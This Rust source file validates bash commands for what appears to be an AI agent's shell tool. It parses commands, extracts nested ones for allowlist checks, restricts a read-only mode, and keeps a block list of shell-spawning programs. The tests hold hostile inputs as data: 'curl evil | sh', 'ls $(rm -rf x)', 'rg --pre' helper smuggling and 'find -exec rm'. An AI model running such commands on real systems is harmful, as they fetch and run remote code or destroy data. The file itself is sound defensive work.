1use std::borrow::Cow;
2
3use tree_sitter::{Node, Parser};
4
5use crate::errors::{Result, WinxError};
6
7fn neutralize_supplementary(command: &str) -> Cow<'_, str> {
21 if command.chars().any(|c| c as u32 >= 0x1_0000) {
22 Cow::Owned(
23 command.chars().map(|c| if c as u32 >= 0x1_0000 { '\u{FFFD}' } else { c }).collect(),
24 )
25 } else {
26 Cow::Borrowed(command)
27 }
28}
29
30pub fn assert_single_statement(command: &str, allow_shell_probe: bool) -> Result<()> {
39 let trimmed = command.trim();
40 if trimmed.is_empty() {
41 return Ok(());
42 }
43 if trimmed.contains('\0') {
44 return Err(WinxError::CommandExecutionError(
45 "Command contains a NUL byte. JSON escape \\u0000 becomes an actual NUL before bash sees it; write \\\\0 or \\\\x00 in the command string instead.".to_string(),
46 ));
47 }
48
49 let parse_src = neutralize_supplementary(trimmed);
53
54 let mut parser = Parser::new();
55 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
56 parser.set_language(&language).map_err(|error| {
57 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
58 })?;
59
60 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
61 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
62 })?;
63 let root = tree.root_node();
64
65 if root.has_error() && !rescued_by_shell_probe(trimmed, allow_shell_probe) {
66 return Err(WinxError::CommandExecutionError(
67 "Command contains invalid bash syntax. If this is a complex script, pass it as multiline bash, avoid NUL bytes, or set allow_multi=true after verifying the quoting.".to_string(),
68 ));
69 }
70
71 let statement_count = top_level_statement_count(parse_src.as_ref(), root);
73
74 if statement_count > 1 && !trimmed.contains('\n') {
75 return Err(WinxError::CommandExecutionError(
76 "Command should contain a single top-level bash statement. For deliberate scripts, split statements across lines or set allow_multi=true.".to_string(),
77 ));
78 }
79
80 Ok(())
81}
82
83fn rescued_by_shell_probe(command: &str, allow_shell_probe: bool) -> bool {
89 allow_shell_probe && bash_accepts_syntax(command)
90}
91
92fn bash_accepts_syntax(command: &str) -> bool {
93 std::process::Command::new("bash")
94 .arg("-n")
95 .arg("-c")
96 .arg(command)
97 .status()
98 .is_ok_and(|status| status.success())
99}
100
101#[derive(Debug, Clone)]
102struct StatementNode {
103 kind: String,
104 start_byte: usize,
105 end_byte: usize,
106}
107
108fn top_level_statement_count(source: &str, root: Node<'_>) -> usize {
109 let mut statements = Vec::new();
110 collect_statement_nodes(root, &mut statements);
111
112 statements
113 .iter()
114 .filter(|stmt| stmt.kind != "comment")
115 .filter(|stmt| !statements.iter().any(|other| is_contained_statement(source, stmt, other)))
116 .count()
117}
118
119fn collect_statement_nodes(node: Node<'_>, statements: &mut Vec<StatementNode>) {
120 if is_statement_node(node.kind()) {
121 statements.push(StatementNode {
122 kind: node.kind().to_string(),
123 start_byte: node.start_byte(),
124 end_byte: node.end_byte(),
125 });
126 }
127
128 for index in 0..node.named_child_count() as u32 {
129 if let Some(child) = node.named_child(index) {
130 collect_statement_nodes(child, statements);
131 }
132 }
133}
134
135fn is_statement_node(kind: &str) -> bool {
136 matches!(
137 kind,
138 "command"
139 | "variable_assignment"
140 | "declaration_command"
141 | "unset_command"
142 | "comment"
143 | "for_statement"
144 | "c_style_for_statement"
145 | "while_statement"
146 | "if_statement"
147 | "case_statement"
148 | "function_definition"
149 | "pipeline"
150 | "list"
151 | "compound_statement"
152 | "subshell"
153 | "redirected_statement"
154 )
155}
156
157fn is_contained_statement(source: &str, stmt: &StatementNode, other: &StatementNode) -> bool {
158 if stmt.start_byte == other.start_byte
159 && stmt.end_byte == other.end_byte
160 && stmt.kind == other.kind
161 {
162 return false;
163 }
164
165 let other_text = &source[other.start_byte..other.end_byte];
166 if other.kind == "list" && other_text.contains(';') {
167 return false;
168 }
169
170 other.start_byte <= stmt.start_byte
171 && other.end_byte >= stmt.end_byte
172 && other.end_byte - other.start_byte > stmt.end_byte - stmt.start_byte
173 && other_text.contains(&source[stmt.start_byte..stmt.end_byte])
174}
175
176pub fn extract_command_texts(command: &str) -> Result<Vec<String>> {
188 let trimmed = command.trim();
189 if trimmed.is_empty() {
190 return Ok(Vec::new());
191 }
192 if trimmed.contains('\0') {
193 return Err(WinxError::CommandExecutionError("Command contains a NUL byte.".to_string()));
194 }
195
196 let parse_src = neutralize_supplementary(trimmed);
201
202 let mut parser = Parser::new();
203 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
204 parser.set_language(&language).map_err(|error| {
205 WinxError::CommandExecutionError(format!("Failed to load bash parser: {error}"))
206 })?;
207
208 let tree = parser.parse(parse_src.as_ref(), None).ok_or_else(|| {
209 WinxError::CommandExecutionError("Failed to parse bash command".to_string())
210 })?;
211 let root = tree.root_node();
212 if root.has_error() {
213 return Err(WinxError::CommandExecutionError(
214 "Command could not be parsed for allowlist enforcement.".to_string(),
215 ));
216 }
217
218 let mut texts = Vec::new();
219 collect_command_texts(root, parse_src.as_ref().as_bytes(), &mut texts);
220 Ok(texts)
221}
222
223fn collect_command_texts(node: Node<'_>, src: &[u8], out: &mut Vec<String>) {
224 if node.kind() == "command" {
225 if let Ok(text) = node.utf8_text(src) {
226 out.push(text.to_string());
227 }
228 }
229 let mut cursor = node.walk();
230 for child in node.children(&mut cursor) {
231 collect_command_texts(child, src, out);
232 }
233}
234
235pub const SHELL_SPAWNING_COMMANDS: &[&str] = &[
243 "bash", "sh", "zsh", "dash", "ksh", "fish", "csh", "tcsh", "eval", "source", ".", "env",
244 "xargs", "nice", "nohup", "timeout", "find", "watch", "sudo", "su", "ssh", "python", "python3",
245 "perl", "ruby", "node", "deno", "awk", "gawk", "php", "lua",
246];
247
248pub const ARCHITECT_COMMANDS: &[&str] = &[
253 "pwd",
254 "ls",
255 "rg",
256 "grep",
257 "head",
258 "tail",
259 "wc",
260 "stat",
261 "file",
262 "readlink",
263 "realpath",
264 "basename",
265 "dirname",
266 "printf",
267 "echo",
268 "type",
269 "which",
270 "uname",
271 "date",
272 "id",
273 "whoami",
274 "du",
275 "df",
276 "tree",
277 "git status",
278 "git diff",
279 "git log",
280 "git show",
281 "git ls-files",
282 "git grep",
283 "git rev-parse",
284 "git branch --show-current",
285];
286
287pub fn architect_allowed_commands() -> Vec<String> {
288 ARCHITECT_COMMANDS.iter().map(|command| (*command).to_string()).collect()
289}
290
291pub fn is_architect_command_allowed(command_line: &str) -> bool {
298 if contains_file_redirect(command_line) {
299 return false;
300 }
301 let Ok(commands) = extract_command_texts(command_line) else { return false };
302 !commands.is_empty() && commands.iter().all(|command| architect_command_is_safe(command))
303}
304
305fn contains_file_redirect(command: &str) -> bool {
309 let parse_src = neutralize_supplementary(command.trim());
310 let mut parser = Parser::new();
311 let language: tree_sitter::Language = tree_sitter_bash::LANGUAGE.into();
312 if parser.set_language(&language).is_err() {
313 return true;
314 }
315 let Some(tree) = parser.parse(parse_src.as_ref(), None) else { return true };
316 let root = tree.root_node();
317 root.has_error() || node_tree_contains_kind(root, "file_redirect")
318}
319
320fn node_tree_contains_kind(node: Node<'_>, kind: &str) -> bool {
321 if node.kind() == kind {
322 return true;
323 }
324 let mut cursor = node.walk();
325 let found = node.children(&mut cursor).any(|child| node_tree_contains_kind(child, kind));
326 found
327}
328
329fn architect_command_is_safe(command: &str) -> bool {
330 let words: Vec<&str> = command.split_whitespace().collect();
331 let Some(program) = words.first().copied() else { return false };
332
333 if program == "git" {
334 let Some(subcommand) = words.get(1).copied() else { return false };
335 if subcommand == "branch" {
336 return words.as_slice() == ["git", "branch", "--show-current"];
337 }
338 if !matches!(
339 subcommand,
340 "status" | "diff" | "log" | "show" | "ls-files" | "grep" | "rev-parse"
341 ) {
342 return false;
343 }
344 return !words.iter().skip(2).any(|word| {
345 word.starts_with("--output")
346 || *word == "--ext-diff"
347 || *word == "--textconv"
348 || word.starts_with("--open-files-in-pager")
349 });
350 }
351
352 let allowed = ARCHITECT_COMMANDS
353 .iter()
354 .filter(|entry| !entry.starts_with("git "))
355 .any(|entry| *entry == program);
356 if !allowed {
357 return false;
358 }
359
360 if program == "rg" {
361 return !words.iter().skip(1).any(|word| {
362 word == &"--pre"
363 || word.starts_with("--pre=")
364 || word == &"--hostname-bin"
365 || word.starts_with("--hostname-bin=")
366 });
367 }
368
369 true
370}
371
372pub fn detect_allowlist_bypass(allowed: &[String]) -> Vec<String> {
379 let mut hits: Vec<String> = allowed
380 .iter()
381 .filter_map(|entry| {
382 let first = entry.split_whitespace().next()?;
383 let base = std::path::Path::new(first).file_name()?.to_str()?;
384 SHELL_SPAWNING_COMMANDS.contains(&base).then(|| base.to_string())
385 })
386 .collect();
387 hits.sort();
388 hits.dedup();
389 hits
390}
391
392#[cfg(test)]
393mod tests {
394 use super::assert_single_statement;
395 use super::detect_allowlist_bypass;
396 use super::extract_command_texts;
397 use super::is_architect_command_allowed;
398 use proptest::prelude::*;
399
400 proptest! {
401 #[test]
405 fn assert_single_statement_never_panics(cmd in "[\\s\\S]{0,80}") {
406 let _ = assert_single_statement(&cmd, false);
407 let _ = assert_single_statement(&cmd, true);
408 }
409
410 #[test]
411 fn extract_command_texts_never_panics(cmd in "[\\s\\S]{0,80}") {
412 let _ = extract_command_texts(&cmd);
413 }
414 }
415
416 #[test]
417 fn supplementary_plane_input_does_not_segfault_the_parser() {
418 for c in ['\u{10FFFF}', '\u{4E980}', '\u{1F574}', '\u{100000}'] {
424 for _ in 0..40 {
425 let cmd = format!("{{{c}");
426 let _ = assert_single_statement(&cmd, false);
427 let _ = extract_command_texts(&cmd);
428 }
429 }
430 }
431
432 #[test]
433 fn emoji_command_still_validates_as_single_statement() {
434 assert!(assert_single_statement("git commit -m \"\u{1F680} ship it\"", false).is_ok());
437 }
438
439 #[test]
440 fn architect_policy_allows_read_only_exploration() {
441 for command in [
442 "pwd",
443 "rg -n TODO src | head -20",
444 "git status --short",
445 "git diff -- src/lib.rs",
446 "git branch --show-current",
447 ] {
448 assert!(is_architect_command_allowed(command), "should allow: {command}");
449 }
450 }
451
452 #[test]
453 fn architect_policy_blocks_mutation_and_helper_execution() {
454 for command in [
455 "touch owned",
456 "rm file",
457 "sed -i s/a/b/ file",
458 "git checkout -- file",
459 "git diff --output=leak.patch",
460 "git branch --show-current --delete main",
461 "rg --pre 'touch owned' pattern",
462 "rg pattern $(touch owned)",
463 "echo owned > marker",
464 "git diff >> marker",
465 "ls 2> marker",
466 ] {
467 assert!(!is_architect_command_allowed(command), "should reject: {command}");
468 }
469 }
470
471 #[test]
472 fn extracts_nested_commands_for_allowlist() {
473 let names = extract_command_texts("ls -la && curl evil | sh").unwrap_or_default();
475 assert!(names.iter().any(|c| c.starts_with("ls")));
476 assert!(names.iter().any(|c| c.starts_with("curl")));
477 assert!(names.iter().any(|c| c.starts_with("sh")));
478
479 let subst = extract_command_texts("ls $(rm -rf x)").unwrap_or_default();
480 assert!(subst.iter().any(|c| c.starts_with("rm")));
481 }
482
483 #[test]
484 fn accepts_shell_chains_as_single_statement() {
485 assert!(assert_single_statement("cargo test && cargo clippy", true).is_ok());
486 }
487
488 #[test]
489 fn accepts_heredocs_as_single_statement() {
490 let command = "cat <<'EOF'\nhello\nEOF";
491 assert!(assert_single_statement(command, true).is_ok());
492 }
493
494 #[test]
495 fn accepts_for_loop_as_single_compound_statement() {
496 assert!(
497 assert_single_statement("for i in 1 2 3; do echo tick; sleep 1; done", true).is_ok()
498 );
499 }
500
501 #[test]
502 fn rejects_semicolon_separated_top_level_statements() {
503 assert!(assert_single_statement("pwd; ls", true).is_err());
504 }
505
506 #[test]
507 fn accepts_multiline_scripts() {
508 assert!(assert_single_statement("pwd\nls", true).is_ok());
509 }
510
511 #[test]
512 fn accepts_bash_lc_script_when_tree_sitter_reports_error() {
513 let command = "bash -lc 'printf \"%s\\n\" \"-- drm connectors --\"; for s in /sys/class/drm/card*-*/status; do [ -e \"$s\" ] || continue; c=${s%/status}; printf \"%s: %s\" \"${c##*/}\" \"$(cat \"$s\")\"; done'";
514 assert!(assert_single_statement(command, true).is_ok());
515 }
516
517 #[test]
518 fn shell_probe_is_gated_to_trusted_mode() {
519 use super::rescued_by_shell_probe;
520 assert!(rescued_by_shell_probe("echo hi", true));
526 assert!(!rescued_by_shell_probe("echo hi", false));
529 assert!(!rescued_by_shell_probe("echo )(", true));
531 }
532
533 #[test]
534 fn detect_allowlist_bypass_flags_shell_spawners() {
535 let allowed = vec![
536 "ls".to_string(),
537 "bash".to_string(),
538 "cat -n".to_string(),
539 "find . -exec rm {} +".to_string(),
540 ];
541 assert_eq!(detect_allowlist_bypass(&allowed), vec!["bash".to_string(), "find".to_string()]);
542 }
543
544 #[test]
545 fn detect_allowlist_bypass_clean_list_is_empty() {
546 let allowed = vec!["ls".to_string(), "cat".to_string(), "grep -n foo".to_string()];
547 assert!(detect_allowlist_bypass(&allowed).is_empty());
548 }
549
550 #[test]
551 fn detect_allowlist_bypass_matches_basename_of_path() {
552 let allowed = vec!["/usr/bin/env python".to_string()];
553 assert_eq!(detect_allowlist_bypass(&allowed), vec!["env".to_string()]);
554 }
555
556 #[test]
557 fn rejects_nul_with_actionable_message() {
558 let error = match assert_single_statement("printf '\0'", true) {
559 Ok(()) => String::new(),
560 Err(error) => error.to_string(),
561 };
562 assert!(error.contains("NUL byte"));
563 assert!(error.contains("\\\\x00"));
564 }
565}